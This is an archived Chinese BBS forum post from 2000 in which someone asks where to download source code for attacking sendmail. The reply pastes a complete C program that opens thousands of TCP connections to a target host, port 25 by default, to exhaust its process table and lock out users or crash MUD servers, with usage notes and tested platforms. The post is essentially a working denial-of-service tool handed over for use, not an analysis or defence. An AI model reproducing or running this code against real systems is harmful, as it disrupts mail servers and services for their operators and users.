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<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
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<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="377.htm">上一层</a>][<a href="381.htm">下一篇</a>]
<hr><p align="left"><small>发信人: VRGL (毕业设计做三维渲染----真苦！！！), 信区: Security <br>
标 题: Re: 请问哪儿可以下栽对sendmail进行攻击的源程序 <br>
发信站: BBS 水木清华站 (Sat Aug 5 08:52:47 2000) <br>
<br>
/* This little program opens as many sockets with a remote <br>
* host as can be supported by both. It catches ^C and kill <br>
* commands to shut down cleanly by closing all open connections <br>
* before exiting. Often, a remote workstation can be brought <br>
* to its knees by saturating its process table via multiple <br>
* invocations of sendmail. That's why port 25 (the sendmail <br>
* port) is the default. If the target's process table (set <br>
* when the target kernel was created) is filled, users will be <br>
* unable to execute any shell commands. Many MUDs also crash <br>
* when the number of sockets they have open exceeds a certain <br>
* number. This program will put stress on MUDs by testing <br>
* their limits. If a limit is reached, the MUD will either <br>
* crash or will refuse to let new users log in. <br>
* <br>
* The program is incomplete, in that it doesn't check for <br>
* socket timeouts and subsequently reuse timed out sockets. <br>
* That means the program can only keep a remote host / mud <br>
* locked up until it exhausts its own available new sockets, <br>
* or until it has reached MAX_DESCRIPTORS remote connections <br>
* as set by the #define statement. <br>
* <br>
* If the local machine starts issuing error messages, then <br>
* the program has failed to saturate the remote host and has <br>
* instead reached the limits of the local machine. Use ^C or <br>
* the kill command to terminate it. If you are knowledgable <br>
* about rebuilding kernels and have access to the root account, <br>
* you can build a special kernel that will allow you to reach <br>
* a much larger number of open sockets. <br>
* <br>
* Before running this, be sure to issue the c shell command: <br>
* 'limit descriptors nnn' <br>
* where nnn is the largest descriptor limit, as revealed <br>
* by the 'limit -h' command if applicable. Some unixes may <br>
* not have a descriptors category at all. <br>
* <br>
* This program has been tested with SunOS version 4.1.3, Irix <br>
* version 5, and with Linux. <br>
* <br>
* You don't need to be a privileged user to run it. <br>
*/ <br>
#include <stdio.h> <br>
#include <stdlib.h> <br>
#include <bstring.h> /* needed for Irix */ <br>
#include <unistd.h> <br>
#include <sys/types.h> <br>
#include <netinet/in.h> <br>
#include <arpa/inet.h> /* needed for Irix */ <br>
#include <sys/socket.h> <br>
#include <signal.h> <br>
#define MAX_DESCRIPTORS 2500 <br>
int i, fd[MAX_DESCRIPTORS]; <br>
void CatchTERM() <br>
{ <br>
printf("\nCaught sig TERM or INT! Cleaning up.\n"); <br>
for( ; i>=0; i--) { <br>
if( shutdown( fd[i], 2 ) < 0 ) perror("shutdown"); <br>
printf("Closing %i\n", i); <br>
if( close( fd[i] ) ) perror("close"); <br>
} <br>
printf("Done. Committing suicide. ARRGH!\n"); <br>
exit (1); <br>
} <br>
main(argc,argv) <br>
int argc; <br>
char *argv[]; <br>
{ <br>
int opt,pid; <br>
struct sockaddr_in sin[MAX_DESCRIPTORS]; <br>
char buf[2]; <br>
if( argc < 2 ) { <br>
printf("Usage:\t%s address [port]\n", argv[0] ); <br>
printf("\twhere address is a numeric internet address\n"); <br>
printf("\tand port is an optional port number (default=25)\n"); <br>
exit (0); <br>
} <br>
pid = getpid(); <br>
opt = 1; <br>
signal( SIGTERM, CatchTERM); <br>
signal( SIGINT, CatchTERM); <br>
for ( i=0; i<MAX_DESCRIPTORS; i++) { <br>
fd[i] = socket(AF_INET, SOCK_STREAM, 0); <br>
if ( fd[i] < 0 ) { printf("socket %i failed\n",i); <br>
perror("socket"); <br>
} <br>
else { <br>
/* Someday, the following call will be used to allow socket reuse ... */ <br>
/* if ( setsockopt( fd[i], SOL_SOCKET, SO_REUSEADDR, ( char *) &opt, <br>
* sizeof(opt)) < 0 ) { <br>
* printf("setsockopt %i failed\n",i); sleep(10); } <br>
*/ <br>
bzero((char *)&sin[i], sizeof(sin[0])); <br>
sin[i].sin_family = AF_INET; <br>
sin[i].sin_addr.s_addr = inet_addr(argv[1]); <br>
sin[i].sin_port = htons((argc > 2) ? atoi(argv[2]) : 25); <br>
if( connect(fd[i], &sin[i], sizeof(sin[0])) < 0) { <br>
printf("connect %i failed.\n",i); <br>
perror("connect"); <br>
break; <br>
} <br>
read(fd[i], buf, 1); <br>
printf("pid: %i, desc %i\n", pid, i); <br>
} <br>
} <br>
i--; <br>
printf("closing connection.\n"); <br>
for ( ; i>=0; i-- ) { if( shutdown( fd[i], 2) <0) perror("shutdown"); <br>
if( close(fd[i]) ) perror("close"); <br>
else printf("closed %i\n", i); <br>
} <br>
} <br>
<br>
【 在 volkswagon (痛哭的人) 的大作中提到: 】 <br>
: 如题 <br>
<br>
<br>
-- <br>
</small><hr>
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